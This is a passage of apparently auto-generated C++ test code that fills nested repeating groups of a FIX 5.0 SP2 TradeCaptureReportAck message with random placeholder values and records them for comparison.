all_values.push_back(SettlDetails_NoSettlDetails_16);\n      all_compo_names.insert(\"...NoSides...NoSettlDetails\");\n\n      // SettlParties\n      // Group SettlParties.NoSettlPartyIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs noSettlPartyIDs_2_2_2_0;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_67;\n        set_field(noSettlPartyIDs_2_2_2_0, FIX::SettlPartyID{\"STRING_1726752908\"}, SettlParties_NoSettlPartyIDs_67);\n        set_field(noSettlPartyIDs_2_2_2_0, FIX::SettlPartyIDSource{'4'}, SettlParties_NoSettlPartyIDs_67);\n        set_field(noSettlPartyIDs_2_2_2_0, FIX::SettlPartyRole{836458081}, SettlParties_NoSettlPartyIDs_67);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_67);\n        all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_2_2_0_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_133;\n          set_field(noSettlPartySubIDs_2_2_0_3_0, FIX::SettlPartySubID{\"STRING_1574528818\"}, SettlPtysSubGrp_NoSettlPartySubIDs_133);\n          set_field(noSettlPartySubIDs_2_2_0_3_0, FIX::SettlPartySubIDType{34102942}, SettlPtysSubGrp_NoSettlPartySubIDs_133);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_133);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_2_2_2_0.addGroup(noSettlPartySubIDs_2_2_0_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_2_2_0_3_1;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_134;\n          set_field(noSettlPartySubIDs_2_2_0_3_1, FIX::SettlPartySubID{\"STRING_2057894268\"}, SettlPtysSubGrp_NoSettlPartySubIDs_134);\n          set_field(noSettlPartySubIDs_2_2_0_3_1, FIX::SettlPartySubIDType{1359513503}, SettlPtysSubGrp_NoSettlPartySubIDs_134);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_134);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_2_2_2_0.addGroup(noSettlPartySubIDs_2_2_0_3_1);\n        }\n        noSettlDetails_2_1_2.addGroup(noSettlPartyIDs_2_2_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs noSettlPartyIDs_2_2_2_1;\n        // SettlParties.NoSettlPartyIDs\n        multiset<string> SettlParties_NoSettlPartyIDs_68;\n        set_field(noSettlPartyIDs_2_2_2_1, FIX::SettlPartyID{\"STRING_68358787\"}, SettlParties_NoSettlPartyIDs_68);\n        set_field(noSettlPartyIDs_2_2_2_1, FIX::SettlPartyIDSource{'2'}, SettlParties_NoSettlPartyIDs_68);\n        set_field(noSettlPartyIDs_2_2_2_1, FIX::SettlPartyRole{279026073}, SettlParties_NoSettlPartyIDs_68);\n        all_values.push_back(SettlParties_NoSettlPartyIDs_68);\n        all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs\");\n\n        // SettlPtysSubGrp\n        // Group SettlPtysSubGrp.NoSettlPartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_2_2_1_3_0;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_135;\n          set_field(noSettlPartySubIDs_2_2_1_3_0, FIX::SettlPartySubID{\"STRING_2089121344\"}, SettlPtysSubGrp_NoSettlPartySubIDs_135);\n          set_field(noSettlPartySubIDs_2_2_1_3_0, FIX::SettlPartySubIDType{1553731322}, SettlPtysSubGrp_NoSettlPartySubIDs_135);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_135);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_2_2_2_1.addGroup(noSettlPartySubIDs_2_2_1_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoSettlDetails::NoSettlPartyIDs::NoSettlPartySubIDs noSettlPartySubIDs_2_2_1_3_1;\n          // SettlPtysSubGrp.NoSettlPartySubIDs\n          multiset<string> SettlPtysSubGrp_NoSettlPartySubIDs_136;\n          set_field(noSettlPartySubIDs_2_2_1_3_1, FIX::SettlPartySubID{\"STRING_1213203194\"}, SettlPtysSubGrp_NoSettlPartySubIDs_136);\n          set_field(noSettlPartySubIDs_2_2_1_3_1, FIX::SettlPartySubIDType{1244658608}, SettlPtysSubGrp_NoSettlPartySubIDs_136);\n          all_values.push_back(SettlPtysSubGrp_NoSettlPartySubIDs_136);\n          all_compo_names.insert(\"...NoSides...NoSettlDetails...NoSettlPartyIDs...NoSettlPartySubIDs\");\n\n          noSettlPartyIDs_2_2_2_1.addGroup(noSettlPartySubIDs_2_2_1_3_1);\n        }\n        noSettlDetails_2_1_2.addGroup(noSettlPartyIDs_2_2_2_1);\n      }\n      noSides_0_2.addGroup(noSettlDetails_2_1_2);\n    }\n    // SideTrdRegTS\n    // Group SideTrdRegTS.NoSideTrdRegTS\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoSideTrdRegTS noSideTrdRegTS_2_1_0;\n      // SideTrdRegTS.NoSideTrdRegTS\n      multiset<string> SideTrdRegTS_NoSideTrdRegTS_8;\n      set_field(noSideTrdRegTS_2_1_0, FIX::SideTrdRegTimestamp{FIX::UTCTIMESTAMP(23, 57, 42, 15, 11, 2003)}, SideTrdRegTS_NoSideTrdRegTS_8);\n      set_field(noSideTrdRegTS_2_1_0, FIX::SideTrdRegTimestampSrc{\"STRING_1758986195\"}, SideTrdRegTS_NoSideTrdRegTS_8);\n      set_field(noSideTrdRegTS_2_1_0, FIX::SideTrdRegTimestampType{2135662590}, SideTrdRegTS_NoSideTrdRegTS_8);\n      all_values.push_back(SideTrdRegTS_NoSideTrdRegTS_8);\n      all_compo_names.insert(\"...NoSides...NoSideTrdRegTS\");\n\n      noSides_0_2.addGroup(noSideTrdRegTS_2_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoSideTrdRegTS noSideTrdRegTS_2_1_1;\n      // SideTrdRegTS.NoSideTrdRegTS\n      multiset<string> SideTrdRegTS_NoSideTrdRegTS_9;\n      set_field(noSideTrdRegTS_2_1_1, FIX::SideTrdRegTimestamp{FIX::UTCTIMESTAMP(16, 37, 21, 8, 3, 2014)}, SideTrdRegTS_NoSideTrdRegTS_9);\n      set_field(noSideTrdRegTS_2_1_1, FIX::SideTrdRegTimestampSrc{\"STRING_1492489046\"}, SideTrdRegTS_NoSideTrdRegTS_9);\n      set_field(noSideTrdRegTS_2_1_1, FIX::SideTrdRegTimestampType{1746708315}, SideTrdRegTS_NoSideTrdRegTS_9);\n      all_values.push_back(SideTrdRegTS_NoSideTrdRegTS_9);\n      all_compo_names.insert(\"...NoSides...NoSideTrdRegTS\");\n\n      noSides_0_2.addGroup(noSideTrdRegTS_2_1_1);\n    }\n    // Stipulations\n    // Group Stipulations.NoStipulations\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoStipulations noStipulations_2_1_0;\n      // Stipulations.NoStipulations\n      multiset<string> Stipulations_NoStipulations_75;\n      set_field(noStipulations_2_1_0, FIX::StipulationType{\"STRING_DISCOUNT\"}, Stipulations_NoStipulations_75);\n      set_field(noStipulations_2_1_0, FIX::StipulationValue{\"STRING_1657118935\"}, Stipulations_NoStipulations_75);\n      all_values.push_back(Stipulations_NoStipulations_75);\n      all_compo_names.insert(\"...NoSides...NoStipulations\");\n\n      noSides_0_2.addGroup(noStipulations_2_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoStipulations noStipulations_2_1_1;\n      // Stipulations.NoStipulations\n      multiset<string> Stipulations_NoStipulations_76;\n      set_field(noStipulations_2_1_1, FIX::StipulationType{\"STRING_PXSOURCE\"}, Stipulations_NoStipulations_76);\n      set_field(noStipulations_2_1_1, FIX::StipulationValue{\"STRING_1594950775\"}, Stipulations_NoStipulations_76);\n      all_values.push_back(Stipulations_NoStipulations_76);\n      all_compo_names.insert(\"...NoSides...NoStipulations\");\n\n      noSides_0_2.addGroup(noStipulations_2_1_1);\n    }\n    // TradeReportOrderDetail\n    multiset<string> TradeReportOrderDetail_4;\n    set_field(noSides_0_2, FIX::BookingType{0}, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::ClOrdID{\"STRING_1831381386\"}, TradeReportOrderDetail_4);\n    FIX::CumQty CumQty_7;\n    CumQty_7.setString(\"8810983\");\nset_field(noSides_0_2, CumQty_7, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::ExecInst{\"MULTIPLECHARVALUE_T\"}, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::ExpireTime{FIX::UTCTIMESTAMP(0, 6, 11, 11, 10, 2006)}, TradeReportOrderDetail_4);\n    FIX::LeavesQty LeavesQty_6;\n    LeavesQty_6.setString(\"1602349\");\nset_field(noSides_0_2, LeavesQty_6, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::ListID{\"STRING_1578000252\"}, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::LotType{'4'}, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::OrdStatus{'3'}, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::OrdType{'H'}, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::OrderCapacity{'P'}, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::OrderID{\"STRING_1282055506\"}, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::OrderInputDevice{\"STRING_842480472\"}, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::OrderRestrictions{\"MULTIPLECHARVALUE_3\"}, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::OrigCustOrderCapacity{4}, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::OrigOrdModTime{FIX::UTCTIMESTAMP(13, 19, 55, 24, 6, 2005)}, TradeReportOrderDetail_4);\n    FIX::Price Price_29;\n    Price_29.setString(\"4026232\");\nset_field(noSides_0_2, Price_29, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::RefOrdIDReason{0}, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::RefOrderID{\"STRING_1817575950\"}, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::RefOrderIDSource{'4'}, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::SecondaryClOrdID{\"STRING_1648440841\"}, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::SecondaryOrderID{\"STRING_551190692\"}, TradeReportOrderDetail_4);\n    FIX::StopPx StopPx_13;\n    StopPx_13.setString(\"15519932\");\nset_field(noSides_0_2, StopPx_13, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::TimeInForce{'4'}, TradeReportOrderDetail_4);\n    set_field(noSides_0_2, FIX::TransBkdTime{FIX::UTCTIMESTAMP(0, 58, 28, 10, 11, 2013)}, TradeReportOrderDetail_4);\n    all_values.push_back(TradeReportOrderDetail_4);\n    all_compo_names.insert(\"...NoSides.\");\n\n    // DisplayInstruction\n    multiset<string> DisplayInstruction_13;\n    FIX::DisplayHighQty DisplayHighQty_13;\n    DisplayHighQty_13.setString(\"18891815\");\nset_field(noSides_0_2, DisplayHighQty_13, DisplayInstruction_13);\n    FIX::DisplayLowQty DisplayLowQty_13;\n    DisplayLowQty_13.setString(\"8842015\");\nset_field(noSides_0_2, DisplayLowQty_13, DisplayInstruction_13);\n    set_field(noSides_0_2, FIX::DisplayMethod{'2'}, DisplayInstruction_13);\n    FIX::DisplayMinIncr DisplayMinIncr_13;\n    DisplayMinIncr_13.setString(\"9312006\");\nset_field(noSides_0_2, DisplayMinIncr_13, DisplayInstruction_13);\n    FIX::DisplayQty DisplayQty_13;\n    DisplayQty_13.setString(\"15178583\");\nset_field(noSides_0_2, DisplayQty_13, DisplayInstruction_13);\n    set_field(noSides_0_2, FIX::DisplayWhen{'2'}, DisplayInstruction_13);\n    FIX::RefreshQty RefreshQty_13;\n    RefreshQty_13.setString(\"17736811\");\nset_field(noSides_0_2, RefreshQty_13, DisplayInstruction_13);\n    FIX::SecondaryDisplayQty SecondaryDisplayQty_13;\n    SecondaryDisplayQty_13.setString(\"5444501\");\nset_field(noSides_0_2, SecondaryDisplayQty_13, DisplayInstruction_13);\n    all_values.push_back(DisplayInstruction_13);\n    all_compo_names.insert(\"...NoSides..\");\n\n    // OrderQtyData\n    multiset<string> OrderQtyData_31;\n    FIX::CashOrderQty CashOrderQty_31;\n    CashOrderQty_31.setString(\"1968165\");\nset_field(noSides_0_2, CashOrderQty_31, OrderQtyData_31);\n    FIX::OrderPercent OrderPercent_31;\n    OrderPercent_31.setString(\"89.520000\");\nset_field(noSides_0_2, OrderPercent_31, OrderQtyData_31);\n    FIX::OrderQty OrderQty_40;\n    OrderQty_40.setString(\"18382134\");\nset_field(noSides_0_2, OrderQty_40, OrderQtyData_31);\n    set_field(noSides_0_2, FIX::RoundingDirection{'1'}, OrderQtyData_31);\n    FIX::RoundingModulus RoundingModulus_31;\n    RoundingModulus_31.setString(\"19682257\");\nset_field(noSides_0_2, RoundingModulus_31, OrderQtyData_31);\n    all_values.push_back(OrderQtyData_31);\n    all_compo_names.insert(\"...NoSides..\");\n\n    // TrdAllocGrp\n    // Group TrdAllocGrp.NoAllocs\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs noAllocs_2_1_0;\n      // TrdAllocGrp.NoAllocs\n      multiset<string> TrdAllocGrp_NoAllocs_9;\n      set_field(noAllocs_2_1_0, FIX::AllocAccount{\"STRING_828350284\"}, TrdAllocGrp_NoAllocs_9);\n      set_field(noAllocs_2_1_0, FIX::AllocAcctIDSource{43367314}, TrdAllocGrp_NoAllocs_9);\n      set_field(noAllocs_2_1_0, FIX::AllocClearingFeeIndicator{\"STRING_986341002\"}, TrdAllocGrp_NoAllocs_9);\n      set_field(noAllocs_2_1_0, FIX::AllocCustomerCapacity{\"STRING_645409739\"}, TrdAllocGrp_NoAllocs_9);\n      set_field(noAllocs_2_1_0, FIX::AllocMethod{2}, TrdAllocGrp_NoAllocs_9);\n      FIX::AllocQty AllocQty_53;\n      AllocQty_53.setString(\"9190885\");\nset_field(noAllocs_2_1_0, AllocQty_53, TrdAllocGrp_NoAllocs_9);\n      set_field(noAllocs_2_1_0, FIX::AllocSettlCurrency{\"CAN\"}, TrdAllocGrp_NoAllocs_9);\n      set_field(noAllocs_2_1_0, FIX::IndividualAllocID{\"STRING_323598202\"}, TrdAllocGrp_NoAllocs_9);\n      set_field(noAllocs_2_1_0, FIX::SecondaryIndividualAllocID{\"STRING_884953187\"}, TrdAllocGrp_NoAllocs_9);\n      all_values.push_back(TrdAllocGrp_NoAllocs_9);\n      all_compo_names.insert(\"...NoSides...NoAllocs\");\n\n      // NestedParties2\n      // Group NestedParties2.NoNested2PartyIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_2_0_2_0;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_63;\n        set_field(noNested2PartyIDs_2_0_2_0, FIX::Nested2PartyID{\"STRING_444528466\"}, NestedParties2_NoNested2PartyIDs_63);\n        set_field(noNested2PartyIDs_2_0_2_0, FIX::Nested2PartyIDSource{'8'}, NestedParties2_NoNested2PartyIDs_63);\n        set_field(noNested2PartyIDs_2_0_2_0, FIX::Nested2PartyRole{1386092206}, NestedParties2_NoNested2PartyIDs_63);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_63);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_2_0_0_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_121;\n          set_field(noNested2PartySubIDs_2_0_0_3_0, FIX::Nested2PartySubID{\"STRING_1129418383\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_121);\n          set_field(noNested2PartySubIDs_2_0_0_3_0, FIX::Nested2PartySubIDType{22276767}, NstdPtys2SubGrp_NoNested2PartySubIDs_121);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_121);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_2_0_2_0.addGroup(noNested2PartySubIDs_2_0_0_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_2_0_0_3_1;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_122;\n          set_field(noNested2PartySubIDs_2_0_0_3_1, FIX::Nested2PartySubID{\"STRING_497407643\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_122);\n          set_field(noNested2PartySubIDs_2_0_0_3_1, FIX::Nested2PartySubIDType{2013619949}, NstdPtys2SubGrp_NoNested2PartySubIDs_122);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_122);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_2_0_2_0.addGroup(noNested2PartySubIDs_2_0_0_3_1);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_2_0_0_3_2;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_123;\n          set_field(noNested2PartySubIDs_2_0_0_3_2, FIX::Nested2PartySubID{\"STRING_1630972084\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_123);\n          set_field(noNested2PartySubIDs_2_0_0_3_2, FIX::Nested2PartySubIDType{1428608333}, NstdPtys2SubGrp_NoNested2PartySubIDs_123);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_123);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_2_0_2_0.addGroup(noNested2PartySubIDs_2_0_0_3_2);\n        }\n        noAllocs_2_1_0.addGroup(noNested2PartyIDs_2_0_2_0);\n      }\n      noSides_0_2.addGroup(noAllocs_2_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs noAllocs_2_1_1;\n      // TrdAllocGrp.NoAllocs\n      multiset<string> TrdAllocGrp_NoAllocs_10;\n      set_field(noAllocs_2_1_1, FIX::AllocAccount{\"STRING_1383994696\"}, TrdAllocGrp_NoAllocs_10);\n      set_field(noAllocs_2_1_1, FIX::AllocAcctIDSource{226755611}, TrdAllocGrp_NoAllocs_10);\n      set_field(noAllocs_2_1_1, FIX::AllocClearingFeeIndicator{\"STRING_1054805848\"}, TrdAllocGrp_NoAllocs_10);\n      set_field(noAllocs_2_1_1, FIX::AllocCustomerCapacity{\"STRING_1928444870\"}, TrdAllocGrp_NoAllocs_10);\n      set_field(noAllocs_2_1_1, FIX::AllocMethod{3}, TrdAllocGrp_NoAllocs_10);\n      FIX::AllocQty AllocQty_54;\n      AllocQty_54.setString(\"320311\");\nset_field(noAllocs_2_1_1, AllocQty_54, TrdAllocGrp_NoAllocs_10);\n      set_field(noAllocs_2_1_1, FIX::AllocSettlCurrency{\"EUR\"}, TrdAllocGrp_NoAllocs_10);\n      set_field(noAllocs_2_1_1, FIX::IndividualAllocID{\"STRING_2000256939\"}, TrdAllocGrp_NoAllocs_10);\n      set_field(noAllocs_2_1_1, FIX::SecondaryIndividualAllocID{\"STRING_55408796\"}, TrdAllocGrp_NoAllocs_10);\n      all_values.push_back(TrdAllocGrp_NoAllocs_10);\n      all_compo_names.insert(\"...NoSides...NoAllocs\");\n\n      // NestedParties2\n      // Group NestedParties2.NoNested2PartyIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_2_1_2_0;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_64;\n        set_field(noNested2PartyIDs_2_1_2_0, FIX::Nested2PartyID{\"STRING_2043624253\"}, NestedParties2_NoNested2PartyIDs_64);\n        set_field(noNested2PartyIDs_2_1_2_0, FIX::Nested2PartyIDSource{'1'}, NestedParties2_NoNested2PartyIDs_64);\n        set_field(noNested2PartyIDs_2_1_2_0, FIX::Nested2PartyRole{166010996}, NestedParties2_NoNested2PartyIDs_64);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_64);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_2_1_0_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_124;\n          set_field(noNested2PartySubIDs_2_1_0_3_0, FIX::Nested2PartySubID{\"STRING_1960838382\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_124);\n          set_field(noNested2PartySubIDs_2_1_0_3_0, FIX::Nested2PartySubIDType{312377928}, NstdPtys2SubGrp_NoNested2PartySubIDs_124);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_124);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_2_1_2_0.addGroup(noNested2PartySubIDs_2_1_0_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_2_1_0_3_1;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_125;\n          set_field(noNested2PartySubIDs_2_1_0_3_1, FIX::Nested2PartySubID{\"STRING_2021734179\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_125);\n          set_field(noNested2PartySubIDs_2_1_0_3_1, FIX::Nested2PartySubIDType{136952936}, NstdPtys2SubGrp_NoNested2PartySubIDs_125);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_125);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_2_1_2_0.addGroup(noNested2PartySubIDs_2_1_0_3_1);\n        }\n        noAllocs_2_1_1.addGroup(noNested2PartyIDs_2_1_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_2_1_2_1;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_65;\n        set_field(noNested2PartyIDs_2_1_2_1, FIX::Nested2PartyID{\"STRING_1197331115\"}, NestedParties2_NoNested2PartyIDs_65);\n        set_field(noNested2PartyIDs_2_1_2_1, FIX::Nested2PartyIDSource{'6'}, NestedParties2_NoNested2PartyIDs_65);\n        set_field(noNested2PartyIDs_2_1_2_1, FIX::Nested2PartyRole{581481402}, NestedParties2_NoNested2PartyIDs_65);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_65);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_2_1_1_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_126;\n          set_field(noNested2PartySubIDs_2_1_1_3_0, FIX::Nested2PartySubID{\"STRING_2023001675\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_126);\n          set_field(noNested2PartySubIDs_2_1_1_3_0, FIX::Nested2PartySubIDType{1337191155}, NstdPtys2SubGrp_NoNested2PartySubIDs_126);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_126);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_2_1_2_1.addGroup(noNested2PartySubIDs_2_1_1_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_2_1_1_3_1;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_127;\n          set_field(noNested2PartySubIDs_2_1_1_3_1, FIX::Nested2PartySubID{\"STRING_1069960556\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_127);\n          set_field(noNested2PartySubIDs_2_1_1_3_1, FIX::Nested2PartySubIDType{2045278442}, NstdPtys2SubGrp_NoNested2PartySubIDs_127);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_127);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_2_1_2_1.addGroup(noNested2PartySubIDs_2_1_1_3_1);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_2_1_1_3_2;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_128;\n          set_field(noNested2PartySubIDs_2_1_1_3_2, FIX::Nested2PartySubID{\"STRING_1834598798\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_128);\n          set_field(noNested2PartySubIDs_2_1_1_3_2, FIX::Nested2PartySubIDType{936096857}, NstdPtys2SubGrp_NoNested2PartySubIDs_128);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_128);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_2_1_2_1.addGroup(noNested2PartySubIDs_2_1_1_3_2);\n        }\n        noAllocs_2_1_1.addGroup(noNested2PartyIDs_2_1_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_2_1_2_2;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_66;\n        set_field(noNested2PartyIDs_2_1_2_2, FIX::Nested2PartyID{\"STRING_1528766878\"}, NestedParties2_NoNested2PartyIDs_66);\n        set_field(noNested2PartyIDs_2_1_2_2, FIX::Nested2PartyIDSource{'1'}, NestedParties2_NoNested2PartyIDs_66);\n        set_field(noNested2PartyIDs_2_1_2_2, FIX::Nested2PartyRole{172607905}, NestedParties2_NoNested2PartyIDs_66);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_66);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_2_1_2_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_129;\n          set_field(noNested2PartySubIDs_2_1_2_3_0, FIX::Nested2PartySubID{\"STRING_23045684\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_129);\n          set_field(noNested2PartySubIDs_2_1_2_3_0, FIX::Nested2PartySubIDType{2101052775}, NstdPtys2SubGrp_NoNested2PartySubIDs_129);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_129);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_2_1_2_2.addGroup(noNested2PartySubIDs_2_1_2_3_0);\n        }\n        noAllocs_2_1_1.addGroup(noNested2PartyIDs_2_1_2_2);\n      }\n      noSides_0_2.addGroup(noAllocs_2_1_1);\n    